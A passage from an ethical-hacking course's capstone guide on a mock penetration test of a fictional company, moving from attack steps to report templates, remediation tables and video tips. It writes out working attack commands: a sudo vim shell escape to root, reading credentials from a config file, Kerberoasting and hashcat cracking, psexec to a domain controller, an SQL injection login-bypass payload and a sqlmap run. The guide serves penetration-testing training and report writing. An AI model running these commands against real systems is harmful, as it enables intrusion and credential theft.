# Found: (ALL) NOPASSWD: /usr/bin/vim

# Escalate
sudo vim -c ':!/bin/bash'

# Verify
whoami
id

# Document: Screenshot of root access
  1. Lateral Movement: ```bash

    Read database credentials

    cat /var/www/html/app/config.php

    Found: P@ssw0rd123!

Pivot to internal network

Set up SOCKS proxy or SSH tunnel

Access database server

mysql -h 192.168.2.20 -u webapp -p

Document: Screenshot of internal access


4. **Domain Compromise**:
```bash
# Kerberoasting
GetUserSPNs.py megacorp.local/john.doe:Welcome123! -dc-ip 192.168.2.5 -request -outputfile hashes.txt

# Crack hashes
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt

# Access Domain Controller
psexec.py megacorp.local/sqlservice:Summer2023!@192.168.2.5

# Document: Screenshot of Domain Admin access

Phase 5: Reporting (Days 11-14)

Goal: Create professional deliverables

  1. Write Executive Summary: ```markdown

    EXECUTIVE SUMMARY

Overview

MegaCorp Industries engaged [Your Name] to conduct a penetration test of their external-facing infrastructure and internal network. Testing was performed between [dates].

Key Findings

During this assessment, the tester identified 12 security vulnerabilities:

  • 2 Critical severity findings
  • 4 High severity findings
  • 3 Medium severity findings
  • 3 Low severity findings

Business Risk Assessment

The tester was able to:

  1. Gain unauthorized access to the customer database containing 50,000+ records
  2. Compromise all Windows systems in the domain
  3. Access financial records and intellectual property
  4. Establish persistent access that would survive reboots

Immediate Actions Required

  1. Patch SQL injection vulnerability in customer portal (Critical)
  2. Reset all service account passwords with strong values (Critical)
  3. Implement network segmentation between DMZ and internal network (High)

Overall Risk Rating: CRITICAL

Without remediation, MegaCorp faces significant risk of:

  • Data breach affecting customer PII (regulatory fines, lawsuits)
  • Ransomware deployment (operational disruption)
  • Intellectual property theft (competitive disadvantage) ```
  1. Document Each Finding: ```markdown

    FINDING 1: SQL Injection in Customer Portal

Severity: Critical (CVSS 9.8) CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Affected Systems

  • Web Application: http://192.168.1.10/app/login.php

Description

The customer portal login form is vulnerable to SQL injection. An unauthenticated attacker can bypass authentication and extract all data from the backend database, including customer records, credentials, and financial information.

Steps to Reproduce

  1. Navigate to http://192.168.1.10/app/login.php
  2. In the username field, enter: admin' OR '1'='1'-- -
  3. Enter any value in the password field
  4. Click โ€œLoginโ€
  5. Observe successful authentication as administrator

Evidence

[Screenshot of successful SQL injection] [Screenshot of database extraction]

Technical Details

The vulnerability exists because user input is concatenated directly into SQL queries without sanitization:

$query = "SELECT * FROM users WHERE username='$username'";

Business Impact

  • Complete database compromise
  • Customer PII exposure (names, emails, addresses)
  • Credential theft enabling further attacks
  • PCI-DSS and GDPR compliance violations
  • Potential fines: Up to $2.4M (GDPR: 4% of annual revenue)

Remediation

Immediate (24-48 hours):

  1. Implement parameterized queries:
    $stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
    $stmt->execute([$username]);
    

Short-term (1-2 weeks):

  1. Deploy Web Application Firewall (WAF) with SQL injection rules
  2. Code review all database queries across application

Long-term (1-3 months):

  1. Implement input validation framework
  2. Regular security testing in development pipeline
  3. Developer security training

References

  • CWE-89: SQL Injection
  • OWASP SQL Injection Prevention Cheat Sheet
  • PCI-DSS Requirement 6.5.1 ```
  1. Create Attack Narrative: ```markdown

    ATTACK NARRATIVE

Day 1: External Reconnaissance

14:00 - Initial Scanning

The engagement began with comprehensive port scanning of the target IP range. Nmap identified a web server running Apache 2.4.41 on Ubuntu 20.04.

$ nmap -sV -sC 192.168.1.10
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1
80/tcp open  http    Apache/2.4.41

15:30 - Web Application Discovery

Directory enumeration revealed a custom application at /app with a login form.

[Screenshot: Directory enumeration results]

16:00 - Vulnerability Identification

Manual testing of the login form revealed SQL injection vulnerability. Initial payload ' caused a MySQL error, confirming injectable parameter.

[Screenshot: SQL error message]

Day 2: Initial Exploitation

09:00 - SQL Injection Exploitation

Using SQLMap, I extracted the database schema and credentials:

$ sqlmap -u "http://192.168.1.10/app/login.php" \
    --data="username=admin&password=test" --dbs

[Screenshot: Database names] [Screenshot: Table extraction]

10:30 - Credential Discovery

Configuration files revealed database credentials:

  • Username: webapp
  • Password: P@ssw0rd123!

11:00 - Web Shell Upload

Leveraged SQL injection to write a web shellโ€ฆ

[Continue narrative through domain compromise]


4. **Create Recommendations Section**:
```markdown
# RECOMMENDATIONS

## Immediate Actions (24-48 hours)

| Priority | Finding | Action | Effort |
|----------|---------|--------|--------|
| 1 | SQL Injection | Deploy WAF, implement parameterized queries | Medium |
| 2 | Credentials in Config | Rotate all exposed credentials | Low |
| 3 | Service Account Passwords | Reset with strong passwords | Low |

## Short-Term Actions (1-2 weeks)

| Priority | Finding | Action | Effort |
|----------|---------|--------|--------|
| 4 | Network Segmentation | Firewall between DMZ and internal | High |
| 5 | Sudo Misconfiguration | Review and restrict sudo permissions | Low |
| 6 | SMB Signing | Enable SMB signing on all Windows systems | Medium |

## Long-Term Actions (1-3 months)

| Priority | Finding | Action | Effort |
|----------|---------|--------|--------|
| 7 | Security Monitoring | Deploy SIEM with AD attack detection | High |
| 8 | Developer Training | Security training for development team | Medium |
| 9 | Penetration Testing | Annual penetration testing program | Medium |

## Architecture Recommendations
1. Implement Zero Trust network model
2. Deploy Privileged Access Workstations (PAW) for admins
3. Implement LAPS for local administrator passwords
4. Enable Credential Guard on Windows systems

Phase 6: Video Walkthrough (Days 14-15)

Goal: Create portfolio-quality demonstration

  1. Recording Setup:
    • Use OBS Studio for screen capture
    • Good microphone for clear audio
    • 1080p minimum resolution
    • Script key talking points
  2. Video Structure: ``` 0:00 - Introduction โ€œHi, Iโ€™m [Name], and this is a demonstration of a penetration test against MegaCorp Industriesโ€ฆโ€

2:00 - Environment Overview Show network diagram Explain scope

5:00 - Reconnaissance Demonstrate Nmap scanning Explain findings

8:00 - Initial Exploitation Show SQL injection discovery Demonstrate exploitation

12:00 - Privilege Escalation Show sudo misconfiguration Demonstrate root access

15:00 - Lateral Movement Explain pivot technique Show internal network access

18:00 - Domain Compromise Demonstrate Kerberoasting Show Domain Admin access

22:00 - Key Findings Summary Highlight critical vulnerabilities Explain business impact

25:00 - Conclusion Remediation priorities Lessons learned ```


Testing Your Deliverables

Report Quality Checklist

  • Executive summary is understandable by non-technical reader
  • All findings have CVSS scores with justification
  • Reproduction steps are clear enough for someone else to follow
  • Screenshots show relevant evidence
  • Recommendations are specific and actionable
  • No spelling or grammar errors
  • Professional formatting throughout

Technical Accuracy Checklist

  • All CVSS scores are correctly calculated
  • Attack narrative timeline is accurate
  • Commands shown are correct and reproducible
  • Findings accurately describe vulnerabilities
  • Remediation recommendations are technically sound

Presentation Quality Checklist

  • Video audio is clear and understandable
  • Screen resolution is readable
  • Pace allows viewer to follow along
  • Key points are clearly explained
  • Professional delivery

Common Pitfalls and Debugging

1. โ€œReport is too technical for executivesโ€

Solution:

  • Remove jargon from executive summary
  • Focus on business impact, not technical details
  • Use analogies: โ€œLike leaving the vault unlockedโ€
  • Include dollar figures where possible

2. โ€œCVSS scores seem wrongโ€

Solution:

  • Use the official calculator: https://www.first.org/cvss/calculator/3.1
  • Consider environmental factors
  • Compare to similar CVEs for validation
  • Document your reasoning

3. โ€œAttack narrative is confusingโ€

Solution:

  • Use clear timestamps
  • One action per paragraph
  • Include screenshots at each step
  • Connect each step to the next logically

4. โ€œVideo is too long/shortโ€

Solution:

  • Script key points in advance
  • Edit out dead time
  • Focus on highlights, not every command
  • Practice before recording

Self-Assessment Checklist

Technical Execution

  • Completed full attack chain from external to domain
  • Identified at least 5 distinct vulnerabilities
  • Documented all commands and techniques used
  • Can explain every step without notes

Documentation Quality

  • Report follows professional structure
  • CVSS scores are accurate and justified
  • Screenshots clearly show evidence
  • Recommendations are actionable

Presentation Skills

  • Executive summary is non-technical
  • Video is clear and professional
  • Can explain findings to different audiences
  • Comfortable answering questions about methodology

Professional Standards

  • Stayed within defined scope
  • Documented everything in real-time
  • Report could be delivered to real client
  • Video could be shown to potential employers

Resources

Report Templates

Methodology References

Video Production


Congratulations!

If youโ€™ve completed this capstone with all deliverables, you have:

  1. Demonstrated end-to-end penetration testing capability
  2. Created portfolio-quality work samples
  3. Proven technical and communication skills
  4. Prepared for junior pentesting roles

Your next steps:

  • Polish and add to professional portfolio
  • Pursue certifications (OSCP, PNPT, eJPT)
  • Apply for penetration testing positions
  • Continue learning through CTFs and bug bounties

This is the final project in the Ethical Hacking & Penetration Testing learning path.